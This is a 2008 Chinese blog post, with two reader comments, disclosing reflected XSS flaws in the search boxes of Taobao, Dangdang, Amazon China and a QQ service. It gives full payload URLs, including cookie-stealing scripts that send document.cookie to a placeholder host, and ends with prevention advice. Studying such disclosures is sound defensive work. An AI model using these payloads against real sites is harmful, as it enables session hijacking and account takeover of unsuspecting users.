来源:T.E.D技术专栏

引子:

我刚入行的时候做过一个小小的页面工具,其中有一个步骤是把一些代码输出到页面上,当时我用的是php做的,写了个for循环,读取每一行的内容,然后echo出来。但是我发现页面排版老是那么的乱,怎么缩进都没有了?有一些代码还显示不出来?这太让我纳闷了,于是问一个学长是怎么一回事,他说:“当然啦,你输出的内容被浏览器解释过后的样子就是这样子的了,比如说你的空格浏览器是不承认的,你要输出空格就得用nbsp; ……”这时我才反应过来:“哦,原来如此……”。那时我才知道,在html的输出上代码和内容还是得程序员自己去区分的。

XSS的非常简单的介绍

XSS(Cross-site scripting)漏洞最早可以追溯到1996年,那时电子商务才刚刚起步,估计那时候国内很少人会想象到今天出现的几个国内电子商务巨头淘宝、当当、亚马逊(卓越)。XSS的出现“得益”于JavaScript的出现,JavaScript的出现给网页的设计带来了无限惊喜,包括今天风行的AJAX(Asynschronous JavaScript and XML)。同时,这些元素又无限的扩充了今天的网络安全领域。

然而,时至今天,国内还有很多同行对XSS漏洞没有重视起来:

“反正XSS又不会窃取我的root权限……”

“切,让他把我的数据库down下来啊……”

2005年10月,国外知名网络社区MySpace出现了一个叫Samy的XSS蠕虫在24小时内感染了超过1百万个网页。而不久之前,百度也出现了XSS蠕虫。

于是大家终于对XSS漏洞的危害开始有更深层次的认识了。

不能忽视的XSS漏洞

现在很多同行都把注意力放在XSS蠕虫上面,开始注意到:

用户填写的资料输出的时候过滤了没有?

用户发的帖子中的特殊字符需要转义吗?

用户写的
<img src=http://some_site/some.js />

在页面加载的时候是呈现出一张“图片”吗?……

但是很多人忽视了最常用的一个输入框---搜索框。很多公司对搜索框的输出过滤不严格,甚至完全不做过滤,以为搜索框不会出什么乱子的。其中包括一下大家都了解的电子商务公司:

淘宝
当当
亚马逊中国(前身是卓越网)
腾讯
其中前3家公司我所发现的搜索输入框XSS漏洞到我写这篇文章时(2008-2-18)还没被修补。

漏洞分析:

搜索输入框产生XSS漏洞的原因是在多数情况下搜索完之后页面上面会显示:

搜索关键词XXX,得出结果YY个

没有出现关键词XXX,需要缩小搜索范围吗?……

同时,很多搜索的结果页面的源代码会发现很多标签是以XXX作为属性值的,比如说value属性

这样就给XSS Attacker带来了机会。

1、淘宝

作为国内最牛的C2C 电子商务平台,淘宝一直让人觉得放心(可以想象,如果淘宝爆出重大的安全漏洞的话会有多大的负面影响啊)。我也一直对淘宝很信赖,只到我在搜索框输入简简单单的几个字符就把淘宝里面的“XSS定时炸弹”给发现了。

淘宝的首页 http://www.taobao.com 如下图,我的第一反应是在正中的搜索框输入以下字符串:
<!--'">&:


   Highslide JS


    图 1. 淘宝首页

没有发现任何异常现象,于是我仔细观察一下,原来在右上角还有一个搜索框。于是我再把那段字符串输入一次。结果出现一片空白,左下角出现:

   Highslide JS


    图 2:淘宝的输出异常

这时我心中一喜,知道大概发现淘宝的XSS漏洞了。上天不负有心人,果然给我在网页源代码中发现一下一段:

   Highslide JS


      图3:淘宝的源代码异常

我的VIM编辑器能够以各种style的颜色很好的显示各种类型的代码(包括C,html,php……),所以在这我剪了个图来展示淘宝的代码异常。呵呵,有一个地方没有做过滤。

于是我尝试把代码中原有的代码给闭合起来,并让其弹出一个一个对话框。于是我构造以下语句:
</h1><script>alert('xss');</script></h1>

结果发现凑效。如下图:

   Highslide JS


      图4:淘宝弹出XSS框

为了让大家了解一下XSS漏洞的危害性,我决定弄一个偷取用户cookies的XSS漏洞出来。代码如下:
</h1><script>var a='<img src="http://127.0.0.1/ted.php?cookie=';a%2B=escape (document.cookie);a%2B='">';document.write(a);</script></h1>

整个url如下:
http://search1.taobao.com/browse/search_auction.htm?at_topsearch=0&commend=all&f=D9_5_1&sort=&q=</h1><script>var a='<img src="http://127.0.0.1/ted.php?cookie=';a%2B=escape (document.cookie);a%2B='">';document.write(a);</script></h1>

这样XSS Attacker就可以在淘宝的各个社区论坛,淘宝群,淘宝好友发消息:

“嘿,我刚刚发现淘宝上面居然有陈冠希的写真集卖,我开始还不相信,后来发现是真的,不信点击以下连接:XXXXXXXXXXX”

当无辜用户点击了上面的连接后就会发现什么都没有,被忽悠了。不过多数人大概也就不以为然罢了,反正又没有什么损失,XSS Attacker正是抓住了人们的好奇心来进行攻击的。其实在黑客自己服务器上面已经获取了用户的cookies信息了,接着他可以用桂林老兵等浏览器,修改自己的cookies信息以无辜用户的身份登录淘宝社区胡作非为了。我的尝试就到此了,我并没有欺骗别人的淘宝cookies,以别人的身份登录,以为这个已经涉及到法律范畴了。(俺可是守法的好公民哦^_^)

   Highslide JS


    图5 从无辜的淘宝用户那里偷来的cookie信息

2、当当

国内做得最好的2家B2C电子商务平台之一(我的技术书籍很多是从那里买的^_^)

当当首页只有一个搜索框,如图:

    Highslide JS


          图 6 当当首页

尝试了几次特殊字符的输入,发现了一个XSS漏洞,于是构造一下语句尝试弹出一个XSS对话框:
);};catch(e){;}try{alert("XSSK

结果成功,如图:

    Highslide JS


          图 7 当当的弹出框

于是尝试构造获取无辜用户cookie的url如下:
http://search.dangdang.com/search.aspx?key=");};catch(e){;}try{document.write('<img src="http://127.0.0.1/ted.php?cookie='+escape(document.cookie)+'">');alert("&selbook=0&selmusic=0&selmovie=0&key1=&key2=&key3=&key4=&key5=&catalog=&SearchFromTop=2

但是发现被截断了,有长度限制。测试了一下,长度限制为50。当当网的XSS漏洞探测我只做到这里,因为我会在亚马逊中国(前身是卓越网)中演示怎么规避长度限制的。

3、亚马逊中国

作为和当当并列的国内2大B2C电子商务平台,说实话,我以前整天看到卓越网的广告,但是倒没有到那里买过东西。我在探测亚马逊中国之前猜想这个网站应该会比淘宝和当当的安全性好吧!毕竟是被亚马逊等国外B2C电子商务平台的霸王收购了,总得有点技术支持吧。

但是我猜错了,亚马逊中国是我在国内几大电子商务企业的XSS渗透中发现做得最烂的。输入以下测试字符:
''!--<XSS>&{()}

发现根本没有做任何转义过滤。如图

    Highslide JS


         图 8 亚马逊中国的页面源代码

居然任何过滤的没有,太让我失望了。

还是老步骤,先构造一个弹出XSS的对话框玩玩。

代码如下:
"/><script>alert('XSS');</script><input "

超链接如下:
http://www.amazon.cn/mn/searchApp?ix=sunray&pageletid=headsearch&searchType=&keywords="/><script>alert('XSS');</script><input "&searchKind=keyword&bestSaleNum=3

构造成功,如图:

     Highslide JS


            图 9 亚马逊的弹出框

再下一步就是构造窃取用户cookie的链接了,我的第一次尝试如下:
http://www.amazon.cn/mn/searchApp?ix=sunray&pageletid=headsearch&searchType=&keywords="/><script>var a='<img src="http://127.0.0.1/ted.php?cookie=';a%2B=escape (document.cookie);a%2B='">';document.write(a);</script><input "&searchKind=keyword&bestSaleNum=3

但是发现失败,原来有长度限制,经过在输入框逐渐增加1234567890的字符输入测试,发现长度限制为50.

但是50的长度已经足够构造一个调用远程js脚本的XSS语句了。如下:
http://www.amazon.cn/mn/searchApp?ix=sunray&pageletid=headsearch&searchType=&keywords="/><script src="http://127.0.0.1/s.js"></script><input "&searchKind=keyword&bestSaleNum=3

呵呵,当然是成功了

这个XSS Attacker就可以和我之前讲述淘宝时候的方法来欺骗亚马逊中国的用户点击他的链接,获取无辜用户的cookie,然后以无辜用户的权限胡作非为了。

XSS漏洞的预防

稍微有一点web开发经验的程序员估计可以不用看这些内容了,因为我讲得比较简单(因为我对XSS漏洞也是研究没有多久,实在是实力不够,不能讲太深入,太高难度的防御措施啊)。

首先要澄清的几个容易犯错的误区:

首先是黑名单机制,不要幻想把
"<script>”

等敏感字符串作为黑名单从而防止用户输入恶意代码,对于一个有经验的XSS Attacker来说,这个太好规避了。

其次是不要只在前台做了过滤而后台没有检验而直接把结果返回出来。我探测过一个QQ城市达人的达人搜索功能,其中网页在前台写了个javascript函数判断用户输入的QQ号是不是合法的,如果在搜索框输入:
"1234567k<>”
等就会提示输入有无之类的,但是后台却没有做任何过滤,我就抓包把那个发送url抓下来,发现是个以get方式传递参数的。于是我修改url为:
http://city.qzone.qq.com/search.php?mod=friend&act=searchqq&qq=23456345k</span><script>alert('xss')</script><span>&s1=%CB%D1%CB%F7

发现成功了。果然弹出如下图的提示框:

     Highslide JS


        图10 QQ城市达人XSS漏洞弹出框

再写个窃取cookie的恶意连接就是不在话下的事情了,我实现过,成功了,但在这儿就不再累赘了。

最后要提提的误区是在程序完成后的测试阶段,不要只对正常的情况考虑XSS漏洞攻击,XSS Attacker往往会抓住异常情况的输出来进行攻击的。还是以QQ城市达人XSS漏洞为例子,开始探测的时候,我构造了一个类似于"1234567K”作为QQ号参数的url,发现程序对于异常的处理只是简单的返回这个字符串不是合法的QQ号,于是我便针对这个异常处理页面构造出XSS注入脚本了。

在国外讨论网络安全的社区混过几天,发现老外在XSS漏洞研究方面果然很深入,这方面国内的网络安全社区要追赶还是存在一定距离的。目前大家的普遍共识是:XSS漏洞太复杂了,以至于目前还没有一个绝对有效,方便,快捷的方法来解决(事实上,从小小一个大家都不在意的搜索框就可以引起那么多XSS漏洞,XSS漏洞的复杂性真是可见一斑了)。

目前防止XSS漏洞主要有2种途径:输入过滤和输出过滤。

简单来说,输入过滤就是在数据存进数据库之前就把特殊的字符给转义了。这是个很方便简洁的方法,而且可以顺便把SQL注入也检验了。缺点是之前已经存在数据库中的恶意代码就无法处理了,而且现在很多企业喜欢把部分业务代码的外包出去,这也为整个系统的安全性架构带来很大的困难(天晓得外包出去的业务代码是不是每一个输入的地方都做了输入过滤啊)。

顾名思义,输出过滤就是在数据组织网页输出之前先对部分敏感字符进行转义。常用的需要转义的字符有:<,>,’,”,&,空格。输出转义的缺点是必须对每一个细节的输出都要过滤好。上面的例子中,平心而论,淘宝和当当的过滤还是做得非常好的,绝大多数的输出地方都把敏感的字符给转义了。但是就是遗漏下了个别的地方没有做过滤,这就为XSSAttacker带来了机会了。

后记:

1.我不敢把XSS Attacker定位为黑客,因为在我心中黑客应该是专注于技术,乐于交流,不会给社会造成危害的。

2.我发这篇文章的时候腾讯已经把QQ城市达人的漏洞给修补了。

3.我是个懒洋洋的人(虽然说得好听一点是不拘小节),所以我并没有对这篇文章做差错别字什么的,反正使用拼音输入法,有错别字就讲究着看吧。

4.欢迎在转载本篇文章,但请注明出处。
Technology | Comments(2) | Trackbacks(0) | Reads(14918)
深思
February 22, 2008 23:00
没有意思,不入库.
cainiao
February 22, 2008 14:47
<!--'">&:
这句话在XSS起什么作用?
Pages: 1/1 First page 1 Final page
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive